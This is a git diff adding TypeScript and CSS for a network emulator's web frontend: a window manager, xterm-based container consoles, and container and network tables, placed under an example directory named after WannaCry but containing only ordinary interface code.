this._maskElement.classList.remove('hide'); + } + + /** + * unblock the frame. + */ + unblock() { + this._maskElement.classList.add('hide'); + } + + /** + * get the window element. + * + * @returns element. + */ + getElement(): Element { + return this._element; + } + + /** + * close this window. + */ + close() { + this._manager.closeWindow(this._id); + document.removeEventListener('mousemove', this._bondedMoveHandler); + } + + /** + * pop the window out to a browser window. + */ + popOut() { + var h = this._frameElement.clientHeight; + var w = this._frameElement.clientWidth; + + this.close(); + window.open( + `/console.html#${this._id}`, this._title, + `directories=no,titlebar=no,toolbar=no,location=no,status=no,menubar=no,scrollbars=no,width=${w},height=${h}`); + } + + /** + * minimize the window to task bar. + */ + minimize() { + this._titleBarElement.classList.remove('active'); + this._manager.minimizeWindow(this); + } + + /** + * reload window. + */ + reload() { + this.setStatusText('(connecting...)'); + this._frameElement.contentWindow.location.reload(); + } + + /** + * send window to back (i.e., set inactive) + */ + toBack() { + this._titleBarElement.classList.remove('active'); + } + + /** + * bring to window to front (i.e., set active) + */ + toFront() { + this._manager.setActiveWindow(this); + this._titleBarElement.classList.add('active'); + } + + /** + * test if this window is in input broadcast. + * + * @returns true if in synth, false otherwise. + */ + isInSynth(): boolean { + return this._inSynth; + } + + /** + * toggle synth (input broadcast) on this window. + */ + toggleSynth() { + if (this._inSynth) { + this._inSynth = false; + this._synthControlElement.className = 'bi bi-keyboard console-action'; + } else { + this._inSynth = true; + this._synthControlElement.className = 'bi bi-keyboard-fill console-action'; + } + } + + /** + * send text data to this window. + * + * @param data data + */ + write(data: any) { + this._frameElement.contentWindow.document.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'data', + id: this._id, + data + } + })); + } + + private _handleDragStart(e: MouseEvent) { + this._manager.blockWindows(); + + if (e.button != 0) return; + + var target = e.target as Element; + + if (target != this._titleBarElement && target.parentElement != this._titleBarElement) return; + + this._element.classList.add('dragging'); + + if (this._dragging) return; + + this.toFront(); + this._dragging = true; + this._x = e.pageX; + this._y = e.pageY; + + document.addEventListener('mousemove', this._bondedMoveHandler); + } + + private _handleDragEnd(e: MouseEvent) { + this._manager.unblockWindows(); + + this._element.classList.remove('dragging'); + if (!this._dragging) return; + this._dragging = false; + + document.removeEventListener('mousemove', this._bondedMoveHandler); + } + + private _handleDragMove(e: MouseEvent) { + if (!this._dragging) return; + + this._dy = e.pageY - this._y; + this._dx = e.pageX - this._x; + + var offset = $(this._element).offset(); + $(this._element).offset({ + left: offset.left + this._dx, + top: offset.top + this._dy + }); + + this._x = e.pageX; + this._y = e.pageY; + } +}; + +/** + * console window manager. + */ +export class WindowManager { + private _windows: { + [id: string]: Window + }; + + /** desktop element */ + private _desktop: HTMLDivElement; + + /** taskbar element */ + private _taskbar: HTMLDivElement; + + /** zindex for the last window */ + private _zindex: number; + + /** offset from left/top for the next window */ + private _nextOffset: number; + + /** last active window's id */ + private _activeWindowId: string; + + private _taskBarChangeEventHandler: (shown: boolean) => void; + + /** + * create window manager. + * + * @param desktopElement desktop element id. + * @param taskbarElement taskbar element id. + */ + constructor(desktopElement: string, taskbarElement: string) { + this._windows = {}; + this._desktop = document.getElementById(desktopElement) as HTMLDivElement; + this._taskbar = document.getElementById(taskbarElement) as HTMLDivElement; + this._zindex = 10000; + this._nextOffset = 0; + + var ceHandler = this._consoleEventListener.bind(this); + var ksHandler = this._keyboardEventListener.bind(this); + + document.addEventListener('console', (e: CustomEvent) => { + ceHandler(e.detail); + }); + + document.addEventListener('keydown', (e) => { + if (e.ctrlKey || e.altKey || e.metaKey) { + ksHandler(e); + } + }); + } + + /** + * register event handler. + * + * @param event event to listen. + * @param handler handler. + */ + on(event: WindowManagerEvent, handler: (event: any) => void) { + if (event == 'taskbarchanges') { + this._taskBarChangeEventHandler = handler; + } + } + + /** + * send input to all windows. + * + * @param srcId source window. + * @param data data. + */ + private _broadcastInput(srcId: string, data: any) { + Object.keys(this._windows).forEach(wid => { + if (wid == srcId) return; + + var win = this._windows[wid]; + if (win.isInSynth()) { + win.write(data); + } + }); + } + + /** + * handle keyboard shortcut keys. + * + * @param e keyboard event. + * @param win window, if the event was triggered in an active window. + * @returns true if something happened, false otherwise. + */ + private _procressKeyboardEvent(e: KeyboardEvent, win?: Window): boolean { + if (e.type != 'keydown') return; + + if (e.ctrlKey && e.altKey) { + switch (e.code) { + case 'KeyW': + win?.close(); + return true; + case 'KeyS': + if (win) this.minimizeWindow(win); + return true; + case 'KeyE': + win?.toggleSynth(); + return true; + case 'KeyF': + win?.popOut(); + return true; + case 'KeyR': + win?.reload(); + return true; + case 'KeyD': + Object.keys(this._windows).forEach(w => { + this._windows[w].minimize(); + }); + return true; + case 'KeyA': + var keys = Object.keys(this._windows); + var allInSynth = true; + + keys.forEach(k => { + allInSynth &&= this._windows[k].isInSynth(); + }); + + if (allInSynth) { + keys.forEach(k => this._windows[k].toggleSynth()); + } else { + keys.forEach(k => { + if (!this._windows[k].isInSynth()) this._windows[k].toggleSynth(); + }); + } + } + } + + return false; + } + + /** + * handle all key events (from either console via ipc, or current document.) + * + * @param e event + * @param sourceId source id, if not from current active window. + */ + private _keyboardEventListener(e: KeyboardEvent, sourceId?: string) { + if (!sourceId) sourceId = this._activeWindowId; + + if (this._procressKeyboardEvent(e, this._windows[sourceId])) { + e.preventDefault(); + e.stopPropagation(); + } + } + + /** + * listen to ipc from console. + * + * @param ce console event. + */ + private _consoleEventListener(ce: ConsoleEvent) { + if (!this._windows[ce.id]) return; + var win = this._windows[ce.id]; + + switch(ce.type) { + case 'ready': + win.setStatusText(''); + case 'focus': + win.toFront(); + break; + case 'blur': + break; + case 'error': + win.setStatusText(`(inactive: error)`); + break; + case 'closed': + win.setStatusText(`(inactive: disconnected)`); + break; + case 'data': + if (win.isInSynth()) { + this._broadcastInput(ce.id, ce.data); + } + break; + case 'rawkey': + var k = ce.data as KeyboardEvent; + if (k.ctrlKey || k.altKey || k.metaKey) { + this._keyboardEventListener(k, ce.id); + } + break; + } + } + + /** + * update taskbar element. + */ + private _updateTaskbar() { + this._taskbar.innerHTML = ''; + + Object.keys(this._windows).forEach(wid => { + var win = this._windows[wid]; + var item = document.createElement('button'); + var text = document.createElement('span'); + + text.innerText = text.title = win.getTitle(); + text.classList.add('taskbar-item-text'); + + item.onclick = () => this._handleTaskbarClick.bind(this)(wid); + item.classList.add('taskbar-item'); + item.appendChild(text); + + if (wid == this._activeWindowId) item.classList.add('active'); + + this._taskbar.appendChild(item); + }); + + if (this._taskbar.children.length == 0) { + if (this._taskBarChangeEventHandler) { + this._taskBarChangeEventHandler(false); + } + + this._taskbar.classList.add('hide'); + } else { + if (this._taskBarChangeEventHandler) { + this._taskBarChangeEventHandler(true); + } + + this._taskbar.classList.remove('hide'); + } + } + + /** + * handle taskbar item click. + * + * @param id window id of the clicked item. + */ + private _handleTaskbarClick(id: string) { + if (this._activeWindowId == id) { + this._windows[id].minimize(); + } else { + this._windows[id].toFront(); + } + } + + /** + * get the desktop element. + * + * @returns desktop element. + */ + getDesktop(): Element { + return this._desktop; + } + + /** + * close window with the given id. + * + * @param id window id + */ + closeWindow(id: string) { + if (this._windows[id]) { + this._windows[id].getElement().remove(); + delete this._windows[id]; + } + + this._updateTaskbar(); + } + + /** + * create a new window. + * + * @param id container id to start console for. + * @param title title of the new window. + */ + createWindow(id: string, title: string) { + if (this._windows[id]) { + this._windows[id].toFront(); + return; + } + + var win = new Window(this, id, title, `/console.html#${id}`, 10 + this._nextOffset, 10 + this._nextOffset); + this._desktop.appendChild(win.getElement()); + this._windows[id] = win; + win.toFront(); + + this._nextOffset += 30; + this._nextOffset %= 300; + + this._updateTaskbar(); + } + + /** + * get windows. + * + * @returns dict, where the keys are ids, and values are window objects. + */ + getWindows(): { + [id: string]: Window + } { + return this._windows; + } + + /** + * block all windows, so when mouse is over windows' frame, mouse events + * are still triggered. + */ + blockWindows() { + Object.keys(this._windows).forEach(wid => { + this._windows[wid].block(); + }); + } + + /** + * unblock all windows. + */ + unblockWindows() { + Object.keys(this._windows).forEach(wid => { + this._windows[wid].unblock(); + }); + } + + /** + * change active window. + * + * @param window window object. + */ + setActiveWindow(window: Window) { + window.getElement().classList.remove('hide'); + + var windows = this.getWindows(); + Object.keys(windows).forEach(id => { + var window = windows[id]; + window.toBack(); + + var zindex = Number.parseInt($(window.getElement()).css('z-index')) || this._zindex; + if (zindex > this._zindex) this._zindex = zindex; + }); + + $(window.getElement()).css('z-index', ++this._zindex); + + this._activeWindowId = window.getId(); + this._updateTaskbar(); + } + + /** + * minimize the window. + * + * @param window window object. + */ + minimizeWindow(window: Window) { + window.getElement().classList.add('hide'); + + if (this._activeWindowId == window.getId()) this._activeWindowId = ''; + + this._updateTaskbar(); + } + +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/console/console.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/console.ts new file mode 100644 index 000000000..d799c7fe2 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/console.ts @@ -0,0 +1,77 @@ +import { Terminal } from 'xterm'; +import 'xterm/css/xterm.css'; +import './css/console.css'; +import { ConsoleUi } from './ui'; +import { ConsoleNetwork } from './network'; + +const term = new Terminal({ + theme: { + foreground: '#C5C8C6', + background: '#1D1F21', + cursor: '#C5C8C6', + cursorAccent: '#C5C8C6', + black: '#555555', + red: '#CC6666', + green: '#B5BD68', + yellow: '#F0C674', + blue: '#81A2BE', + magenta: '#B294BB', + cyan: '#8ABEB7', + white: '#C5C8C6' + } +}); + +term.open(document.getElementById('terminal')); + +const id = window.location.hash.replace('#', ''); + +(async function () { + const net = new ConsoleNetwork(id); + + try { + var container = (await net.getContainer()).result; + } catch (e) { + term.write(`error: ${e.result}\r\n`); + return; + } + + var meta = container.meta; + var node = meta.emulatorInfo; + + var info = []; + + info.push({ + label: 'ASN', + text: node.asn + }); + + info.push({ + label: 'Name', + text: node.name + }); + + info.push({ + label: 'Role', + text: node.role + }); + + node.nets.forEach(net => { + info.push({ + label: 'IP', + text: `${net.name},${net.address}` + }); + }); + + document.title = `${node.role}: AS${node.asn}/${node.name}`; + + const ui = new ConsoleUi(id, term, `AS${node.asn}/${node.name}`, info); + + if (meta.hasSession) { + ui.createNotification('Attaching to an existing session; if you don\'t see the shell prompt, try pressing the return key.'); + } + + var ws = net.getSocket(); + + ui.attach(ws); + ui.configureIpc(); +})(); \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/console/css/console.css b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/css/console.css new file mode 100644 index 000000000..f2d65d5c1 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/css/console.css @@ -0,0 +1,98 @@ +*, *:before, *:after { + box-sizing: border-box; +} + +body, h1, h2, h3, h4, h5, h6, p, ol, ul { + margin: 0; + padding: 0; +} + +html, body, .terminal { + height: 100%; + width: 100%; + background-color: #1D1F21; +} + +html, body, .container { + height: 100%; + width: 100vw; + overflow: hidden; + position: relative; +} + +.container { + padding: .5em; +} + +.bottom-tooltip { + bottom: .25em; +} + +.right-tooltip { + top: .25em; + right: .25em; +} + +.persistent-tooltip { + transition: opacity .2s; +} + +.persistent-tooltip:hover { + opacity: 0%; +} + +.tooltip { + color: #C5C8C6; + position: absolute; + padding: .2em; + font-family: monospace; + background-color: rgba(29, 31, 33, 0.84); + border: 2px solid #C5C8C6; + z-index: 114514; +} + +.as-name { + font-weight: bold; +} + +.loading, .muted { + color: #a5a8a6; +} + +.muted { + font-size: .85em; +} + +.infopanel-label { + font-weight: bold; +} + +.infopanel-label:after { + content: ":"; +} + +.infopanel-text { + margin-left: .2em; + font-family: monospace; +} + +.infopanel-title { + font-family: monospace; + font-size: 1.2em; + font-weight: bold; + margin-bottom: .2em; + border-left: .4em solid; + padding-left: .3em; +} + +.xterm-viewport { + scrollbar-width: 1px; + scrollbar-color: rgba(0, 0, 0, 255); + -ms-overflow-style: -ms-autohiding-scrollbar; +} + +.xterm-viewport::-webkit-scrollbar { + width: 1px; + height: 0; + opacity: 0%; +} diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/console/network.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/network.ts new file mode 100644 index 000000000..59f093281 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/network.ts @@ -0,0 +1,60 @@ +import { Configuration } from "../common/configuration"; + +/** + * console network manager. + */ +export class ConsoleNetwork { + private _id: string; + + constructor(id: string) { + this._id = id; + } + + /** + * get the container details + * + * @returns container details. + */ + async getContainer(): Promise { + var xhr = new XMLHttpRequest(); + + xhr.open('GET', `${Configuration.ApiPath}/container/${this._id}`); + + return new Promise((resolve, reject) => { + xhr.onload = function () { + if (this.status != 200) { + reject({ + ok: false, + result: 'non-200 response from API.' + }); + + return; + } + + var res = JSON.parse(xhr.response); + + if (res.ok) resolve(res); + else reject(res); + }; + + xhr.onerror = function () { + reject({ + ok: false, + result: 'xhr failed.' + }); + } + + xhr.send(); + }); + } + + /** + * get the websocket. + * + * @param protocol (optional) websocket protocol (ws/wss), default to ws. + * @returns websocket. + */ + getSocket(protocol: string = 'ws'): WebSocket { + return new WebSocket(`${protocol}://${location.host}${Configuration.ApiPath}/console/${this._id}`); + } +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/console/ui.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/ui.ts new file mode 100644 index 000000000..54f1d5529 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/console/ui.ts @@ -0,0 +1,289 @@ +import { Terminal } from 'xterm'; +import { AttachAddon } from 'xterm-addon-attach'; +import { FitAddon } from 'xterm-addon-fit'; +import { ConsoleEvent } from '../common/console-event'; +import Hammer from 'hammerjs'; + +/** + * console UI controller. + */ +export class ConsoleUi { + + /** pending notifications. */ + private _notifications: string[]; + + /** xtermjs object. */ + private _terminal: Terminal; + + /** info panel element. */ + private _infoPanel: HTMLDivElement; + + private _fit: FitAddon; + + /** websocket to console. */ + private _socket: WebSocket; + + /** true if attached to a container. */ + private _attached: boolean; + + /** container id. */ + private _id: string; + + /** + * construct UI controller. + * + * @param id container id. + * @param term terminal element. + * @param title title for the infoplate. + * @param items items for the info plate. + */ + constructor(id: string, term: Terminal, title: string, items: { + label: string, + text: string + }[]) { + this._notifications = []; + this._terminal = term; + this._id = id; + + var infoPanel = document.createElement('div'); + infoPanel.classList.add('xterm-hover'); + infoPanel.classList.add('tooltip'); + infoPanel.classList.add('right-tooltip'); + infoPanel.classList.add('persistent-tooltip'); + + var els = items.map(item => { + var p = document.createElement('div'); + + var l = document.createElement('span'); + l.innerText = item.label; + l.classList.add('infopanel-label'); + + var t = document.createElement('span'); + t.innerText = item.text; + t.classList.add('infopanel-text'); + + p.append(l); + p.append(t); + + return p; + }); + + var titleElement = document.createElement('div'); + titleElement.classList.add('infopanel-title'); + titleElement.innerText = title; + + var itemsElement = document.createElement('div'); + els.forEach(e => itemsElement.appendChild(e)); + + infoPanel.appendChild(titleElement); + infoPanel.appendChild(itemsElement); + + term.element.appendChild(infoPanel); + + this._infoPanel = infoPanel; + + this._attached = false; + + this._fit = new FitAddon(); + term.loadAddon(this._fit); + + var sizeChange = this._handleSizeChange.bind(this); + + if (window.visualViewport) { + document.documentElement.addEventListener('touchmove', e => e.preventDefault(), { passive: false }); + window.visualViewport.onresize = function() { + document.documentElement.style.height = `${this.height}px`; + sizeChange(); + }; + } else window.onresize = () => sizeChange(); + } + + /** + * handlw window size change: resize terminal. + */ + private _handleSizeChange() { + let dim = this._fit.proposeDimensions(); + this._fit.fit(); + if (this._socket && this._socket.readyState == 1) { + this._socket.send(`\t\r\n\ttermsz;${dim.rows},${dim.cols}`); + } + } + + /** + * draw the next notification. + */ + private _nextNotification() { + if (this._notifications.length == 0) return; + + var noteElement = document.createElement('div'); + noteElement.classList.add('xterm-hover'); + noteElement.classList.add('tooltip'); + noteElement.classList.add('bottom-tooltip'); + + var textElement = document.createElement('div'); + textElement.innerText = this._notifications.pop(); + + noteElement.appendChild(textElement); + + var infoElement = document.createElement('div'); + infoElement.classList.add('muted'); + infoElement.innerText = 'Tap on this message to dismiss.'; + + noteElement.appendChild(infoElement); + + var cb = this._nextNotification.bind(this); + + noteElement.onclick = () => { + noteElement.remove(); + cb(); + }; + + this._terminal.element.appendChild(noteElement); + } + + /** + * create new notification. push to queue if one is already showing. + * + * @param text notification text. + */ + createNotification(text: string) { + this._notifications.push(text); + + if (this._notifications.length == 1) this._nextNotification(); + } + + /** + * attach to console. + * + * @param socket websocket. + */ + attach(socket: WebSocket) { + if (this._attached) throw 'already attached.'; + this._attached = true; + + this._socket = socket; + + var attachAddon = new AttachAddon(socket); + this._terminal.loadAddon(attachAddon); + + window.setTimeout(this._handleSizeChange.bind(this), 1000); + + this._terminal.focus(); + + this._socket.addEventListener('error', () => { + this._terminal.write('\x1b[0;30mConnection reset.\x1b[0m\r\n'); + }); + + this._socket.addEventListener('close', () => { + this._terminal.write('\x1b[0;30mConnection closed by foreign host.\x1b[0m\r\n'); + }); + + if ('ontouchstart' in window) { + this.createNotification('Touchscreen detected - Swipe left/right to move the cursor, double tap to go back in history.') + var hammer = new Hammer(this._terminal.element); + + hammer.get('swipe').set({ direction: Hammer.DIRECTION_HORIZONTAL }); + hammer.on('swipe', (e) => { + if (socket.readyState != 1) return; + switch(e.direction) { + case Hammer.DIRECTION_RIGHT: socket.send('\x1b[C'); break; + case Hammer.DIRECTION_LEFT: socket.send('\x1b[D'); break; + }; + }); + + hammer.get('tap').set({ taps: 2 }); + hammer.on('tap', (e) => { + if (socket.readyState != 1) return; + socket.send('\x1b[A'); + }); + } + } + + /** + * setup ipc with the windowmanager. + */ + configureIpc() { + try { + if (window.self === window.top) return; + } catch (e) { + // in frame if error too? + } + + var parent = window.parent.document; + + var sendReady = () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'ready', + id: this._id + } + })); + }; + + if (this._socket.readyState == 1) sendReady(); + else this._socket.addEventListener('open', sendReady); + + this._socket.addEventListener('error', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'error', + id: this._id + } + })); + }); + + this._socket.addEventListener('close', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'closed', + id: this._id + } + })); + }) + + window.addEventListener('focus', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'focus', + id: this._id + } + })); + }); + + window.addEventListener('blur', () => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'blur', + id: this._id + } + })); + }); + + document.addEventListener('console', (e: CustomEvent) => { + var ce: ConsoleEvent = e.detail; + if (ce.id != this._id) return; + if (this._socket.readyState != 1) return; + this._socket.send(ce.data); + }); + + this._terminal.onData((data) => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'data', + id: this._id, + data + } + })); + }); + + document.addEventListener('keydown', (e) => { + parent.dispatchEvent(new CustomEvent('console', { + detail: { + type: 'rawkey', + id: this._id, + data: e + } + })); + }); + } +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/index/css/index.css b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/css/index.css new file mode 100644 index 000000000..f528a27c7 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/css/index.css @@ -0,0 +1,17 @@ +body { + padding-top: 4.5rem; + padding-bottom: 4.5rem; +} + +.network .name { + font-weight: bold; +} + +.network .name::after { + content: ':'; +} + +.network .address { + margin-left: .2em; +} + diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/index/index.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/index.ts new file mode 100644 index 000000000..5dc384775 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/index.ts @@ -0,0 +1,23 @@ +import './css/index.css'; +import '../common/css/window-manager.css'; +import 'bootstrap/dist/css/bootstrap.min.css'; +import 'datatables.net-bs4/css/dataTables.bootstrap4.min.css' +import 'datatables.net-select-bs4/css/select.bootstrap4.min.css' + +import 'bootstrap'; +import 'datatables.net'; +import 'datatables.net-bs4'; +import 'datatables.net-select'; +import 'datatables.net-select-bs4'; + +import { IndexUi } from './ui'; + +var ui = new IndexUi({ + containerListElementId: 'container-list', + networkListElementId: 'network-list', + desktopElementId: 'console-area', + taskbarElementId: 'taskbar' +}); + +ui.loadContainers('/api/v1/container'); +ui.loadNetworks('/api/v1/network') \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/index/ui.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/ui.ts new file mode 100644 index 000000000..f0bda84c0 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/index/ui.ts @@ -0,0 +1,327 @@ +import $ from 'jquery'; +import { EmulatorNetwork, EmulatorNode } from '../common/types'; +import { WindowManager } from '../common/window-manager'; + +export class IndexUi { + private _containerTable: DataTables.Api; + private _networkTable: DataTables.Api; + private _wm: WindowManager; + private _containerToolbar: HTMLDivElement; + private _networkToolbar: HTMLDivElement; + private _containerUrl: string; + private _networkUrl: string; + + constructor(config: { + containerListElementId: string, + networkListElementId: string, + desktopElementId: string, + taskbarElementId: string + }) { + this._containerTable = $(`#${config.containerListElementId}`).DataTable({ + columnDefs: [ + { + targets: [4, 5], + orderable: false + }, + { + targets: 0, + className: 'select-checkbox', + orderable: false + } + ], + select: { + selector: 'td:first-child', + style: 'multi' + }, + order: [[ 1, 'asc' ]], + dom: + "<'row'<'col-9 toolbar container-toolbar'><'col-3'f>>" + + "<'row'<'col-12'tr>>" + + "<'row'<'col-12'i>>" + + "<'row'<'col-12'p>>" + + }); + + this._networkTable = $(`#${config.networkListElementId}`).DataTable({ + columnDefs: [ + { + targets: [5], + orderable: false + }, + { + targets: 0, + className: 'select-checkbox', + orderable: false + } + ], + select: { + selector: 'td:first-child', + style: 'multi' + }, + order: [[ 1, 'asc' ]], + dom: + "<'row'<'col-9 toolbar network-toolbar'><'col-3'f>>" + + "<'row'<'col-12'tr>>" + + "<'row'<'col-12'i>>" + + "<'row'<'col-12'p>>" + }); + + this._containerToolbar = document.querySelector('.container-toolbar'); + this._networkToolbar = document.querySelector('.network-toolbar'); + this._wm = new WindowManager(config.desktopElementId, config.taskbarElementId); + + this._configureToolbar(this._containerTable, this._containerToolbar); + this._configureToolbar(this._networkTable, this._networkToolbar); + + this._initContainerToolbar(); + this._initNetworkToolbar(); + } + + private _reloadContainers() { + if (!this._containerUrl) return; + + this.loadContainers(this._containerUrl); + } + + private _createBtn(text: string, className: string, cb: any, iconClassName?: string): HTMLButtonElement { + var btn = document.createElement('button'); + var btnIcon = document.createElement('i'); + var btnText = document.createElement('span'); + + btnText.innerText = text; + + btn.className = className; + if (iconClassName) { + btnIcon.className = iconClassName; + btn.appendChild(btnIcon); + } + btn.appendChild(btnText); + btn.onclick = cb; + + return btn; + } + + private _configureToolbar(table: DataTables.Api, toolbar: HTMLDivElement) { + var btnGroupSelects = document.createElement('div'); + btnGroupSelects.className = 'btn-group mr-1 mb-1'; + + btnGroupSelects.appendChild(this._createBtn( + 'Select All', + 'btn btn-sm btn-secondary', + () => table.rows({ search: 'applied' }).select() + )); + + btnGroupSelects.appendChild(this._createBtn( + 'Invert Selections', + 'btn btn-sm btn-info', + () => { + var selected = table.rows({ selected: true, search: 'applied' }); + var rest = table.rows({ selected: false, search: 'applied' }); + + rest.select(); + selected.deselect(); + } + )); + + btnGroupSelects.appendChild(this._createBtn( + 'Deselect All', + 'btn btn-sm btn-light', + () => table.rows({ search: 'applied' }).deselect() + )); + + toolbar.appendChild(btnGroupSelects); + } + + private _initContainerToolbar() { + var btnGroupSelectedOptions = document.createElement('div'); + btnGroupSelectedOptions.className = 'btn-group mr-1 mb-1'; + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Attach selected', + 'btn btn-sm btn-primary', + () => { + var console = this._wm.createWindow.bind(this._wm); + this._containerTable.rows({ selected: true, search: 'applied' }).nodes().each((row: HTMLTableRowElement) => { + console(row.id, row.title); + }); + } + )); + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Run on selected…', + 'btn btn-sm btn-info', + () => alert('Not implemented') + )); + + btnGroupSelectedOptions.appendChild(this._createBtn( + 'Kill selected…', + 'btn btn-sm btn-danger', + () => alert('Not implemented') + )); + + this._containerToolbar.appendChild(btnGroupSelectedOptions); + + this._containerToolbar.appendChild(this._createBtn( + 'Add Node…', + 'btn btn-sm btn-success mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-plus mr-1' + )); + + this._containerToolbar.appendChild(this._createBtn( + 'Reload', + 'btn btn-sm btn-light mr-1 mb-1', + this._reloadContainers.bind(this), + 'bi bi-arrow-clockwise' + )); + } + + private _initNetworkToolbar() { + this._networkToolbar.appendChild(this._createBtn( + 'Delete selected…', + 'btn btn-sm btn-danger mr-1 mb-1', + () => alert('Not implemented') + )); + + this._networkToolbar.appendChild(this._createBtn( + 'New network…', + 'btn btn-sm btn-success mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-plus mr-1' + )); + + this._networkToolbar.appendChild(this._createBtn( + 'Reload', + 'btn btn-sm btn-light mr-1 mb-1', + () => alert('Not implemented'), + 'bi bi-arrow-clockwise' + )); + } + + private _createNodeRow(container: EmulatorNode) { + var node = container.meta.emulatorInfo; + + var tr = document.createElement('tr'); + + var tds = document.createElement('td'); + var td0 = document.createElement('td'); + var td1 = document.createElement('td'); + var td2 = document.createElement('td'); + var td3 = document.createElement('td'); + var td4 = document.createElement('td'); + + td0.className = 'text-monospace'; + td1.className = 'text-monospace'; + td2.className = 'text-monospace'; + + td0.innerText = node.asn != 0 ? `AS${node.asn}` : 'N/A'; + td1.innerText = node.name; + td2.innerText = node.role; + + node.nets.forEach(a => { + var div = document.createElement('div'); + + div.className = 'network'; + + var name = document.createElement('span'); + var address = document.createElement('span'); + + name.className = 'name'; + address.className = 'address text-monospace'; + + name.innerText = a.name; + address.innerText = a.address; + + div.appendChild(name); + div.appendChild(address); + + td3.appendChild(div); + }); + + var console = this._wm.createWindow.bind(this._wm); + var id = container.Id.substr(0, 12); + var title = `${node.role}: AS${node.asn}/${node.name}`; + + td4.appendChild(this._createBtn( + 'Attach', + 'btn btn-sm btn-primary mr-1 mb-1', + () => console(id, title) + )); + + td4.appendChild(this._createBtn( + 'Kill…', + 'btn btn-sm btn-danger mr-1 mb-1', + () => alert('Not implemented') + )); + + [tds, td0, td1, td2, td3, td4].forEach(td => tr.appendChild(td)); + + tr.id = id; + tr.title = title; + + return tr; + } + + private _createNetworkRow(network: EmulatorNetwork) { + var net = network.meta.emulatorInfo; + + var tr = document.createElement('tr'); + + var tds = document.createElement('td'); + var td0 = document.createElement('td'); + var td1 = document.createElement('td'); + var td2 = document.createElement('td'); + var td3 = document.createElement('td'); + var td4 = document.createElement('td'); + + td0.className = 'text-monospace'; + td1.className = 'text-monospace'; + td2.className = 'text-monospace'; + td3.className = 'text-monospace'; + + td0.innerText = net.scope; + td1.innerText = net.name; + td2.innerText = net.type; + td3.innerText = net.prefix; + + [tds, td0, td1, td2, td3, td4].forEach(td => tr.appendChild(td)); + + tr.id = net.name; + tr.title = net.name; + + return tr; + } + + private _load(url: string, table: DataTables.Api, handler: (data: any) => HTMLTableRowElement) { + var xhr = new XMLHttpRequest(); + var createRow = handler.bind(this); + + table.clear(); + + xhr.open('GET', url); + xhr.onload = function() { + if (xhr.status == 200) { + var res = JSON.parse(xhr.responseText); + if (!res.ok) return; + + res.result.forEach((c) => { + table.row.add(createRow(c)); + }); + } + table.draw(); + }; + + xhr.send(); + } + + loadContainers(url: string) { + this._containerUrl = url; + this._load(url, this._containerTable, this._createNodeRow); + } + + loadNetworks(url: string) { + this._networkUrl = url; + this._load(url, this._networkTable, this._createNetworkRow); + } + +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/map/css/map.css b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/css/map.css new file mode 100644 index 000000000..094aa06e9 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/css/map.css @@ -0,0 +1,247 @@ +*, *:before, *:after { + box-sizing: border-box; +} + +body, h1, h2, h3, h4, h5, h6, p, ol, ul { + margin: 0; + padding: 0; +} + +html, body, .map-area, .map { + height: 100%; + width: 100vw; + overflow: hidden; + position: relative; + line-height: initial; +} + +.clickable { + cursor: pointer; +} + +.panel { + position: absolute; + opacity: 85%; +} + +.panel .panel-title { + font-family: 'Courier New', Courier, monospace; + padding: 5px 5px 3px 5px; + background-color: #333; + display: inline-block; + color: #ddd; + line-height: .8em; + font-weight: bold; +} + +.panel .panel-title.inactive { + background-color: #999; +} + +.wrap { + border: 2px #333 solid; + background-color: #fff; + width: 100%; +} + +.filter-panel { + top: 10px; + left: 10px; + width: calc(100vw - 20px); + z-index: 10; +} + +.filter { + font-size: 1.3em; + line-height: 2.4rem; + width: 100%; + border: none; + padding-left: 1rem; + padding-right: 1rem; + font-family: 'Courier New', Courier, monospace; +} + +.filter-panel .suggestions { + font-family: monospace; + font-size: 1.5rem; + padding: 5px; + border-left: 2px solid #ccc; + border-right: 2px solid #ccc; + border-bottom: 2px solid #ccc; + overflow-y: scroll; + max-height: 250px; + background-color: #fff; +} + +.filter-panel .suggestions:empty { + display: none; +} + +.filter-panel .suggestions .suggestion { + line-height: 2rem; + padding-left: .5em; + padding-right: .5em; + cursor: pointer; +} + +.filter-panel .suggestions .suggestion .name { + font-weight: bold; + padding-right: .5em; +} + +.filter-panel .suggestions .suggestion .details { + color: #666; + font-size: .8em; +} + +.filter-panel .suggestions .suggestion.active { + background-color: #ccc; 